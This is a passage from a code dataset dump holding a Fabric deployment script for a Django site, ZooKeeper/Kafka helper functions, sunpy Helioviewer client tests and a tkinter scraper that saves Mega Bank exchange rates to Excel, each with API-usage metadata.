{TEST_HOST: {'src_dir': '$HOME/web/vikasa/src',\n 'env_dir': '$HOME/web/vikasa/env'}}\nfappy.env.hosts = []\n\n\n@contextmanager\ndef virtualenv(host=None):\n host = fappy.env.host_string if host is None else host\n venv = fappy.env.hosts_config[host]['env_dir']\n src = fappy.env.hosts_config[host]['src_dir']\n env_vars = {'DJANGO_SETTINGS_MODULE': 'project.settings',\n 'VIRTUAL_ENV': venv}\n env_bin = os.path.join(venv, 'bin')\n with \\\n fappy.path(env_bin, behavior='prepend'), \\\n fappy.shell_env(**env_vars), \\\n fappy.cd(src):\n yield env_bin, env_vars, src\n\n\n@fappy.task\ndef print_models_local():\n django.settings_module('vikasa.settings')\n from django.db.models import get_models\n for model in get_models():\n print(model)\n\n\n@fappy.task\ndef print_models():\n with virtualenv():\n fappy.run('fab print_models_local')\n\n\n@fappy.task\ndef restart():\n fappy.run(\"pkill -HUP -u {user} uwsgi\".format(user=fappy.env.user))\n\n\n@fappy.task\ndef test():\n with virtualenv():\n fappy.run(\"python -Wignore manage.py test\")\n\n\n@fappy.task\ndef deploy():\n with virtualenv():\n fappy.run(\"git pull --ff-only\")\n with fappy.settings(warn_only=True):\n fappy.run(\"pip install -r requirements.txt\")\n fappy.run(\"python manage.py migrate --noinput\")\n fappy.run(\"python manage.py collectstatic --noinput\")\n restart()\n\n\n@fappy.task\ndef clean():\n with virtualenv():\n fappy.run(\"git clean --dry-run\")\n if console.confirm(\"Proceed?\"):\n fappy.run(\"git clean --force\")\n\n\n@fappy.task\ndef shell():\n with virtualenv() as (env_bin, env_vars, src):\n env_vars['TERM'] = 'screen'\n env_vars['PATH'] = '{env_bin}:$PATH'.format(env_bin=env_bin)\n command = \" \".join(['cd \"{src}\" &&'.format(src=src),\n '/usr/bin/env',\n '--unset=PYTHONHOME'] +\n ['{}=\"{}\"'.format(key, env_vars[key])\n for key in env_vars] +\n ['$SHELL'])\n fappy.open_shell(command)\n\n@fappy.task\ndef create_settings(target='vikasa/settings_local.py', **kwargs):\n template = open('vikasa/settings.py.template', 'r').read()\n content = template % kwargs\n open(target, 'w+').write(content)\n\n", "sub_path": "fabfile.py", "file_name": "fabfile.py", "file_ext": "py", "file_size_in_byte": 2610, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fabric.api.env", "line_number": 8, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 8, "usage_type": "name"}, {"api_name": "fabric.api.env", "line_number": 10, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 10, "usage_type": "name"}, {"api_name": "fabric.api.env", "line_number": 15, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 15, "usage_type": "name"}, {"api_name": "fabric.api.env", "line_number": 16, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 16, "usage_type": "name"}, {"api_name": "fabric.api.env", "line_number": 17, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "fabric.api.path", "line_number": 22, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 22, "usage_type": "name"}, {"api_name": "fabric.api.shell_env", "line_number": 23, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 23, "usage_type": "name"}, {"api_name": "fabric.api.cd", "line_number": 24, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 24, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 13, "usage_type": "name"}, {"api_name": "fabric.contrib.django.settings_module", "line_number": 30, "usage_type": "call"}, {"api_name": "fabric.contrib.django", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.get_models", "line_number": 32, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 28, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 28, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 39, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 39, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 36, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 36, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 44, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 44, "usage_type": "name"}, {"api_name": "fabric.api.env", "line_number": 44, "usage_type": "attribute"}, {"api_name": "fabric.api.task", "line_number": 42, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 42, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 50, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 50, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 47, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 47, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 56, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 56, "usage_type": "name"}, {"api_name": "fabric.api.settings", "line_number": 57, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 57, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 58, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 58, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 59, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 59, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 60, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 60, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 53, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 53, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 67, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 67, "usage_type": "name"}, {"api_name": "fabric.contrib.console.confirm", "line_number": 68, "usage_type": "call"}, {"api_name": "fabric.contrib.console", "line_number": 68, "usage_type": "name"}, {"api_name": "fabric.api.run", "line_number": 69, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 69, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 64, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 64, "usage_type": "name"}, {"api_name": "fabric.api.open_shell", "line_number": 83, "usage_type": "call"}, {"api_name": "fabric.api", "line_number": 83, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 72, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 72, "usage_type": "name"}, {"api_name": "fabric.api.task", "line_number": 85, "usage_type": "attribute"}, {"api_name": "fabric.api", "line_number": 85, "usage_type": "name"}]} {"seq_id": "417713649", "text": "from kazoo.client import KazooClient\nfrom os import environ\nfrom json import loads \n\n# Get broker on a host\ndef get_broker(zk, broker):\n try:\n if not zk:\n _zk = KazooClient(hosts=environ['ZK_LIST'], read_only=True)\n _zk.start()\n else:\n _zk = zk\n\n path=\"/brokers/ids/\" + str(broker)\n if _zk.exists(path):\n n,znstat=_zk.get(path)\n bd = loads(n)\n h=bd[\"host\"]\n p=bd[\"port\"]\n except:\n# if not zk: _zk.stop()\n return\n\n if not zk: _zk.stop()\n\n if h:\n return str(h) + ':' + str(p) \n\n return\n\ndef listBrokers(zk):\n return zk.get_children(\"/brokers/ids\", False)\n\ndef listTopics(zk):\n return zk.get_children(\"/brokers/topics\")\n\ndef listPartitions(zk, topic):\n path = \"/brokers/topics/\" + topic + \"/partitions\"\n if zk.exists(path):\n return zk.get_children(path)\n# else: \n# raise KafkaException(\"Topic \" + topic + \" doesn't exist\")\n\ndef getLeaderAddress(zk, topic, partitionId):\n path = \"/brokers/topics/\" + topic + \"/partitions/\" + str(partitionId) + \"/state\"\n if zk.exists(path):\n stateN = zk.get(path)\n stateDic = loads(stateN[0])\n leaderId = stateDic[\"leader\"]\n return get_broker(zk, leaderId)\n# else:\n# raise KafkaException(\"Topic (\" + topic + \") or partition (\" + partitionId + \") doesn't exist\")\n\n", "sub_path": "lib/zk_tools.py", "file_name": "zk_tools.py", "file_ext": "py", "file_size_in_byte": 1283, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "kazoo.client.KazooClient", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 17, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 48, "usage_type": "call"}]} {"seq_id": "99700526", "text": "\"\"\"\nHelioviewer Client tests\n\"\"\"\nfrom __future__ import absolute_import\n\nimport os\n\nimport sunpy\nimport sunpy.map\nimport pytest\nfrom sunpy.net.helioviewer import HelioviewerClient\nfrom sunpy.extern.six.moves import urllib\n\nfrom sunpy.tests.helpers import skip_glymur\n\n\n@pytest.fixture(scope=\"function\")\ndef client():\n \"\"\"\n Fixture to create a client and skip tests if not available\n \"\"\"\n try:\n client = HelioviewerClient()\n client.sources = client.get_data_sources()\n return client\n except urllib.error.HTTPError as e:\n print(\"There's a HTTP problem {} {}\".format(e.code, e.args))\n pytest.skip(\"HTTP error {}\".format(e.code))\n\n\n@pytest.mark.remote_data\nclass TestHelioviewerClient:\n \"\"\"Tests the Helioviewer.org API Client class\"\"\"\n\n def test_get_datasources(self, client):\n \"\"\"Makes sure datasource query returns a valid result and source id\n is casted to an integer\"\"\"\n assert type(client.sources['SDO']['AIA']['AIA']['171']['sourceId']) is int\n\n def test_get_closest_image(self, client):\n \"\"\"Tests getClosestImage API method\"\"\"\n # check basic query\n im1 = client.get_closest_image('1994/01/01',\n observatory='SOHO',\n instrument='EIT',\n detector='EIT',\n measurement='195')\n assert im1['width'] == im1['height'] == 1024\n\n # result should be same when using source id to query\n source_id = client.sources['SOHO']['EIT']['EIT']['195']['sourceId']\n\n im2 = client.get_closest_image('1994/01/01', sourceId=source_id)\n\n assert im1 == im2\n\n @skip_glymur\n def test_download_jp2(self, client):\n \"\"\"Tests getJP2Image API method\"\"\"\n filepath = client.download_jp2('2020/01/01', observatory='SOHO',\n instrument='MDI', detector='MDI',\n measurement='continuum')\n map_ = sunpy.map.Map(filepath)\n assert isinstance(map_, sunpy.map.GenericMap)\n\n @skip_glymur\n def test_download_jp2_directory_not_exist(self, client, tmpdir):\n \"\"\"Tests getJP2Image API method\"\"\"\n\n filepath = client.download_jp2(\n '2020/01/01',\n observatory='SOHO',\n instrument='MDI',\n detector='MDI',\n measurement='continuum',\n directory=os.path.join(str(tmpdir), 'directorynotexist'))\n\n assert 'directorynotexist' in filepath\n", "sub_path": "sunpy/net/tests/test_helioviewer.py", "file_name": "test_helioviewer.py", "file_ext": "py", "file_size_in_byte": 2568, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sunpy.net.helioviewer.HelioviewerClient", "line_number": 23, "usage_type": "call"}, {"api_name": "sunpy.extern.six.moves.urllib.error", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sunpy.extern.six.moves.urllib", "line_number": 26, "usage_type": "name"}, {"api_name": "pytest.skip", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 17, "usage_type": "call"}, {"api_name": "sunpy.map.Map", "line_number": 63, "usage_type": "call"}, {"api_name": "sunpy.map", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sunpy.map", "line_number": 64, "usage_type": "attribute"}, {"api_name": "sunpy.tests.helpers.skip_glymur", "line_number": 57, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "sunpy.tests.helpers.skip_glymur", "line_number": 66, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 31, "usage_type": "attribute"}]} {"seq_id": "499363361", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\nimport xlwt\r\nimport os\r\nimport time\r\nimport datetime\r\nimport sched \r\nimport tkinter as tk\r\n\r\nwbook=xlwt.Workbook() #開啟一個虛擬的 excel試算表 wbook\r\nFTimeshRecord=list()\r\n\r\nclass tradhrs:\r\n def __init__(self,op,cl):\r\n self.op=op #以小時形式表示的開盤與收盤時間\r\n self.cl=cl\r\n\r\n def opentime(self,time):\r\n if self.cl>self.op:\r\n self.open=datetime.datetime(time.year, time.month, time.day,self.op,0,0)\r\n elif self.cl<self.op:\r\n timeplusoned=time+datetime.timedelta(days=1)\r\n self.open=datetime.datetime(time.year, time.month, time.day,self.op,0,0)\r\n return self.open #完整的開盤時間\r\n\r\n def closetime(self,time):\r\n if self.cl>self.op:\r\n self.close=datetime.datetime(time.year, time.month, time.day,self.cl,0,0)\r\n elif self.cl<self.op:\r\n timeplusoned=time+datetime.timedelta(days=1)\r\n self.close=datetime.datetime(timeplusoned.year, timeplusoned.month, timeplusoned.day,self.cl,0,0)\r\n return self.close #完整的收盤時間\r\n\r\nTWFX=tradhrs(9,16)\r\n\r\nFXmarket=TWFX #開盤/收盤時間依照台灣匯市\r\n\r\n\r\n\r\n\r\ndef par():\r\n \r\n try:\r\n \r\n urlviewF = 'https://wwwfile.megabank.com.tw/rates/M001/viewF.asp'\r\n resF=requests.get(urlviewF)\r\n cookievalue=dict(resF.cookies)['mega%5Fstatus']\r\n\r\n\r\n urlV = 'https://wwwfile.megabank.com.tw/rates/D001/_@V_.asp'\r\n header = {\"User-Agent\": 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36'}\r\n cookie = {'mega%5Fstatus':cookievalue}\r\n\r\n\r\n resV=requests.get(urlV, cookies=cookie)\r\n\r\n\r\n resV.encoding='UTF-8'\r\n\r\n resVtext=resV.text\r\n\r\n\r\n strtext=str()\r\n strlist=list()\r\n\r\n strtext = resVtext.replace('__header_=0;','')\r\n strtext = strtext.replace('#','')\r\n strtext = strtext.replace('col2','現金買匯')\r\n strtext = strtext.replace('col3','即期賣匯')\r\n strtext = strtext.replace('col0','幣別')\r\n strtext = strtext.replace('col1','即期買匯')\r\n strtext = strtext.replace('col4','現金賣匯')\r\n\r\n strtext = strtext.strip('\\n')\r\n strlist = strtext.split(';')\r\n del strlist[-1]\r\n splitime = strlist[0].split('|')\r\n Ftime = splitime[0]+' '+splitime[1]\r\n strlist[0]=splitime[2]\r\n\r\n\r\n for i in range(0,len(strlist),5):\r\n strlist[i],strlist[i+1],strlist[i+2],strlist[i+3],strlist[i+4]=strlist[i+2],strlist[i+3],strlist[i],strlist[i+1],strlist[i+4]\r\n\r\n print(strlist) \r\n\r\n Flist=['USD','HKD','GBP','JPY','AUD','CAD','SGD','ZAR','SEK','CHF','THB','NZD','EUR','KRW','MYR','IDR','PHP','MOP','VND','CNY']\r\n Tlist=['幣別','即期買匯','現金買匯','即期賣匯','現金賣匯']\r\n\r\n USD={};HKD={};GBP={};JPY={};AUD={}\r\n CAD={};SGD={};ZAR={};SEK={};CHF={}\r\n THB={};NZD={};EUR={};KRW={};MYR={}\r\n IDR={};PHP={};MOP={};VND={};CNY={}\r\n\r\n for x in range(0,5):\r\n USD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(5,10):\r\n HKD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(10,15):\r\n GBP[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(15,20):\r\n JPY[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(20,25):\r\n AUD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(25,30):\r\n CAD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(30,35):\r\n SGD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(35,40):\r\n ZAR[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(40,45):\r\n SEK[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(45,50):\r\n CHF[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(50,55):\r\n THB[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(55,60):\r\n NZD[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(60,65):\r\n EUR[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(65,70):\r\n KRW[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(70,75):\r\n MYR[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(75,80):\r\n IDR[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(80,85):\r\n PHP[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(85,90):\r\n MOP[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(90,95):\r\n VND[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n for x in range(95,100):\r\n CNY[strlist[x].split('=')[0]]=strlist[x].split('=')[1]\r\n\r\n FTimeshname=Ftime.replace('/','')\r\n FTimeshname=FTimeshname.replace(':','')\r\n \r\n\r\n if FTimeshname not in FTimeshRecord:\r\n wsheet=wbook.add_sheet(FTimeshname) #在 wbook裡面加入工作表 wsheet\r\n FTimeshRecord.append(FTimeshname)\r\n for x in range(0,5):\r\n wsheet.write(0,x,Tlist[x]) ; wsheet.write(1,x,USD[Tlist[x]]) \r\n wsheet.write(2,x,HKD[Tlist[x]]) ; wsheet.write(3,x,GBP[Tlist[x]])\r\n wsheet.write(4,x,JPY[Tlist[x]]) ; wsheet.write(5,x,AUD[Tlist[x]]) \r\n wsheet.write(6,x,CAD[Tlist[x]]) ; wsheet.write(7,x,SGD[Tlist[x]])\r\n wsheet.write(8,x,ZAR[Tlist[x]]) ; wsheet.write(9,x,SEK[Tlist[x]])\r\n wsheet.write(10,x,CHF[Tlist[x]]) ; wsheet.write(11,x,THB[Tlist[x]])\r\n wsheet.write(12,x,NZD[Tlist[x]]) ; wsheet.write(13,x,EUR[Tlist[x]])\r\n wsheet.write(14,x,KRW[Tlist[x]]) ; wsheet.write(15,x,MYR[Tlist[x]])\r\n wsheet.write(16,x,IDR[Tlist[x]]) ; wsheet.write(17,x,PHP[Tlist[x]])\r\n wsheet.write(18,x,MOP[Tlist[x]]) ; wsheet.write(19,x,VND[Tlist[x]])\r\n wsheet.write(20,x,CNY[Tlist[x]])\r\n x+=1\r\n print('add sheet')\r\n labelCount.configure(text=\"目前共有\"+str(len(FTimeshRecord))+\"筆資料\",font=30,height=5)\r\n print('FTimeshRecord is '+str(FTimeshRecord))\r\n except requests.exceptions.ConnectionError:\r\n timediscon=datetime.datetime.today()\r\n labelStat.configure(text=\"無法連線到網站,於 \"+timediscon.strftime(\"%Y/%m/%d %H:%M:%S\")+\"停止抓取\",font=30,height=5)\r\n buttonStart['state'] = 'normal'\r\ndef export():\r\n try:\r\n timexp=time.strftime(\"%Y/%m/%d %H:%M:%S\",time.localtime(time.time()))\r\n timexpname=time.strftime(\"%Y%m%d %H%M%S\",time.localtime(time.time()))\r\n wbook.save('FXrate'+timexpname+'.xls') #把虛擬的 wbook另存新檔\r\n labelStat.configure(text=\"輸出成功於 \"+timexp,font=30,height=5)\r\n except PermissionError:\r\n labelStat.configure(text=\"請關閉 FXrate.xls再輸出檔案\",font=30,height=5)\r\n except IndexError:\r\n labelStat.configure(text=\"請關閉 FXrate.xls再輸出檔案\",font=30,height=5)\r\n \r\n \r\n \r\n \r\ndef start():\r\n try:\r\n buttonStart['state'] = 'disabled'\r\n timestart=datetime.datetime.today()\r\n print('timestart is: '+str(timestart))\r\n\r\n hrs=ehr.get() ; mis=emi.get()\r\n if ehr.get()=='':\r\n hrs=0 \r\n if emi.get()=='':\r\n mis=0\r\n hr=datetime.timedelta(hours=int(hrs)) ; mi=datetime.timedelta(minutes=int(mis))\r\n global timestop\r\n timestop=timestart+hr+mi\r\n print('timestop is: '+str(timestop))\r\n\r\n \r\n FXOP=FXmarket.opentime(timestart)\r\n FXCL=FXmarket.closetime(timestop)\r\n print(\"FXmarket.opentime(timestart) is \"+str(FXmarket.opentime(timestart)))\r\n print(\"FXmarket.closetime(timestop) is \"+str(FXmarket.closetime(timestop)))\r\n\r\n plusoned=timestart+datetime.timedelta(days=1)\r\n nextopen=datetime.datetime(plusoned.year, plusoned.month, plusoned.day,FXmarket.op,0,0)\r\n \r\n if FXCL>timestart>=FXOP:\r\n startmod=timestart\r\n elif FXOP>timestart and timestop>datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0):\r\n startmod=datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0)\r\n elif FXOP>timestart and datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0)>timestop:\r\n startmod=timestart\r\n elif timestart>=FXCL and timestop>=nextopen:\r\n startmod=nextopen\r\n elif timestart>=FXCL and nextopen>timestop:\r\n startmod=timestart\r\n print('startmod is: '+str(startmod))\r\n \r\n if FXCL>timestop>=FXOP:\r\n stopmod=timestop\r\n elif FXOP>timestop:\r\n subtroned=timestop-datetime.timedelta(days=1)\r\n stopmod=datetime.datetime(subtroned.year, subtroned.month, subtroned.day,FXmarket.cl,1,0)\r\n elif timestop>=FXCL:\r\n stopmod=datetime.datetime(timestop.year, timestop.month, timestop.day,FXmarket.cl,1,0)\r\n\r\n print('stopmod is: '+str(stopmod))\r\n timestopstr=timestop.strftime(\"%Y/%m/%d %H:%M:%S\")\r\n labelStat.configure(text=\"將於\"+timestopstr+\"停止\",font=30,height=5)\r\n \r\n while True:\r\n timenow=datetime.datetime.today()\r\n print(timenow)\r\n \r\n if startmod.strftime(\"%Y/%m/%d %H:%M:%S\")>timenow.strftime(\"%Y/%m/%d %H:%M:%S\") :\r\n par()\r\n print('等待 '+str((startmod-timenow).seconds)+' 秒後啟動')\r\n labelStat.configure(text='等待 '+str((startmod-timenow).seconds)+' 秒後啟動',font=30,height=5)\r\n s = sched.scheduler(time.time, time.sleep)\r\n s.enter((startmod-timenow).seconds,0,startagain,())\r\n s.run()\r\n \r\n else:\r\n if timenow.strftime(\"%Y/%m/%d %H:%M:%S\")>=stopmod.strftime(\"%Y/%m/%d %H:%M:%S\") :\r\n \r\n labelStat.configure(text=\"抓取已停止\",font=30,height=5)\r\n par()\r\n buttonExport['state'] = 'normal'\r\n buttonStart['state'] = 'normal'\r\n break\r\n elif timenow.second ==0:\r\n par()\r\n except ValueError:\r\n labelStat.configure(text=\"X,Y 欄位只能輸入數字\",font=30,height=5)\r\n buttonStart['state'] = 'normal'\r\n\r\n \r\ndef startagain():\r\n try:\r\n timestart=datetime.datetime.today()\r\n print('timestart is: '+str(timestart))\r\n\r\n FXOP=FXmarket.opentime(timestart)\r\n FXCL=FXmarket.closetime(timestop)\r\n print(\"FXmarket.opentime(timestart) is \"+str(FXmarket.opentime(timestart)))\r\n print(\"FXmarket.closetime(timestop) is \"+str(FXmarket.closetime(timestop)))\r\n\r\n plusoned=timestart+datetime.timedelta(days=1)\r\n nextopen=datetime.datetime(plusoned.year, plusoned.month, plusoned.day,FXmarket.op,0,0)\r\n \r\n if FXCL>timestart>=FXOP:\r\n startmod=timestart\r\n elif FXOP>timestart and timestop>datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0):\r\n startmod=datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0)\r\n elif FXOP>timestart and datetime.datetime(timestart.year, timestart.month, timestart.day,FXmarket.op,0,0)>timestop:\r\n startmod=timestart\r\n elif timestart>=FXCL and timestop>=nextopen:\r\n startmod=nextopen\r\n elif timestart>=FXCL and nextopen>timestop:\r\n startmod=timestart\r\n print('startmod is: '+str(startmod))\r\n \r\n if FXCL>timestop>=FXOP:\r\n stopmod=timestop\r\n elif FXOP>timestop:\r\n subtroned=timestop-datetime.timedelta(days=1)\r\n stopmod=datetime.datetime(subtroned.year, subtroned.month, subtroned.day,FXmarket.cl,1,0)\r\n elif timestop>=FXCL:\r\n stopmod=datetime.datetime(timestop.year, timestop.month, timestop.day,FXmarket.cl,1,0)\r\n\r\n print('stopmod is: '+str(stopmod))\r\n timestopstr=timestop.strftime(\"%Y/%m/%d %H:%M:%S\")\r\n labelStat.configure(text=\"將於\"+timestopstr+\"停止\",font=30,height=5)\r\n \r\n while True:\r\n timenow=datetime.datetime.today()\r\n print(timenow)\r\n \r\n if startmod.strftime(\"%Y/%m/%d %H:%M:%S\")>timenow.strftime(\"%Y/%m/%d %H:%M:%S\") :\r\n par()\r\n print('等待 '+str((startmod-timenow).seconds)+' 秒後啟動')\r\n labelStat.configure(text='等待 '+str((startmod-timenow).seconds)+' 秒後啟動',font=30,height=5)\r\n s = sched.scheduler(time.time, time.sleep)\r\n s.enter((startmod-timenow).seconds,0,startagain,())\r\n s.run()\r\n \r\n else:\r\n if timenow.strftime(\"%Y/%m/%d %H:%M:%S\")>=stopmod.strftime(\"%Y/%m/%d %H:%M:%S\") :\r\n \r\n labelStat.configure(text=\"抓取已停止\",font=30,height=5)\r\n par()\r\n buttonExport['state'] = 'normal'\r\n buttonStart['state'] = 'normal'\r\n break\r\n elif timenow.second ==0:\r\n par()\r\n except ValueError:\r\n labelStat.configure(text=\"X,Y 欄位只能輸入數字\",font=30,height=5)\r\n buttonStart['state'] = 'normal'\r\n \r\nMBS=chr(77)+chr(69)+chr(71)+chr(65)+chr(66)+chr(65)+chr(78)+chr(75)+chr(32)+chr(83)+chr(99)+chr(114)+chr(97)+chr(112)+chr(121)+chr(45)+chr(49)+chr(32)+chr(116)+chr(105)+chr(109)+chr(101)+chr(47)+chr(109)+chr(105)+chr(110)+chr(32) \r\nMBK=chr(77)+chr(97)+chr(100)+chr(101)+chr(32)+chr(98)+chr(121)+chr(32)+chr(75)+chr(97)+chr(115)+chr(112)+chr(101)+chr(114)\r\n\r\nwindow=tk.Tk()\r\nwindow.title(MBS+MBK)\r\nwindow.geometry('300x400')\r\n\r\nlabelGuide=tk.Label(window, text=\"請按Start 開始,再按Export 輸出成XLS 檔案\",font=30,height=5) \r\nlabelGuide.grid(row=0,columnspan=2)\r\n\r\nbuttonStart=tk.Button(window,text='Start Crawling',width=15,height=2,font=30,command=start,state='normal')\r\nbuttonStart.grid(row=1, column=1, sticky=\"WE\")\r\n\r\nbuttonExport=tk.Button(window,text='Export to XLS',width=15,height=2,font=30,command=export,state='disabled')\r\nbuttonExport.grid(row=1, column=0, sticky=\"WE\")\r\n\r\nlabelCount=tk.Label(window, text=\"運作停止時會顯示資料筆數於此\",font=30,height=5)\r\nlabelCount.grid(row=2,columnspan=2)\r\n\r\nlabelStat=tk.Label(window, text=\"將於X 小時Y 分後停止,收盤時間以16:01計\",font=30,height=5)\r\nlabelStat.grid(row=3,columnspan=2)\r\n\r\nlabelX=tk.Label(window, text=\"X (取整數): \",font=30)\r\nlabelX.grid(row=4, column=0)\r\n\r\nlabelY=tk.Label(window, text=\"Y (取整數): \",font=30)\r\nlabelY.grid(row=4, column=1)\r\n\r\nehr=tk.Entry(window,width=10,show=None)\r\nehr.grid(row=5, column=0)\r\n\r\nemi=tk.Entry(window,width=10,show=None)\r\nemi.grid(row=5, column=1)\r\n\r\nwindow.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "sub_path": "opclMEGABANKexcel.py", "file_name": "opclMEGABANKexcel.py", "file_ext": "py", "file_size_in_byte": 15321, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "xlwt.Workbook", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "call"}, {"api_name": "time.year", "line_number": 20, "usage_type": "attribute"}, {"api_name": "time.month", "line_number": 20, "usage_type": "attribute"}, {"api_name": "time.day", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "call"}, {"api_name": "time.year", "line_number": 23, "usage_type": "attribute"}, {"api_name": "time.month", "line_number": 23, "usage_type": "attribute"}, {"api_name": "time.day", "line_number": 23, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "call"}, {"api_name": "time.year", "line_number": 28, "usage_type": "attribute"}, {"api_name": "time.month", "line_number": 28, "usage_type": "attribute"}, {"api_name": "time.day", "line_number": 28, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 46, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 55, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 159, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 160, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 160, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 165, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 165, "usage_type": "call"}, {"api_name": "time.time", "line_number": 165, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 166, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 166, "usage_type": "call"}, {"api_name": "time.time", "line_number": 166, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 180, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 180, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 188, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 199, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 200, "usage_type": "call"}, {"api_name": "datetime.datetime", 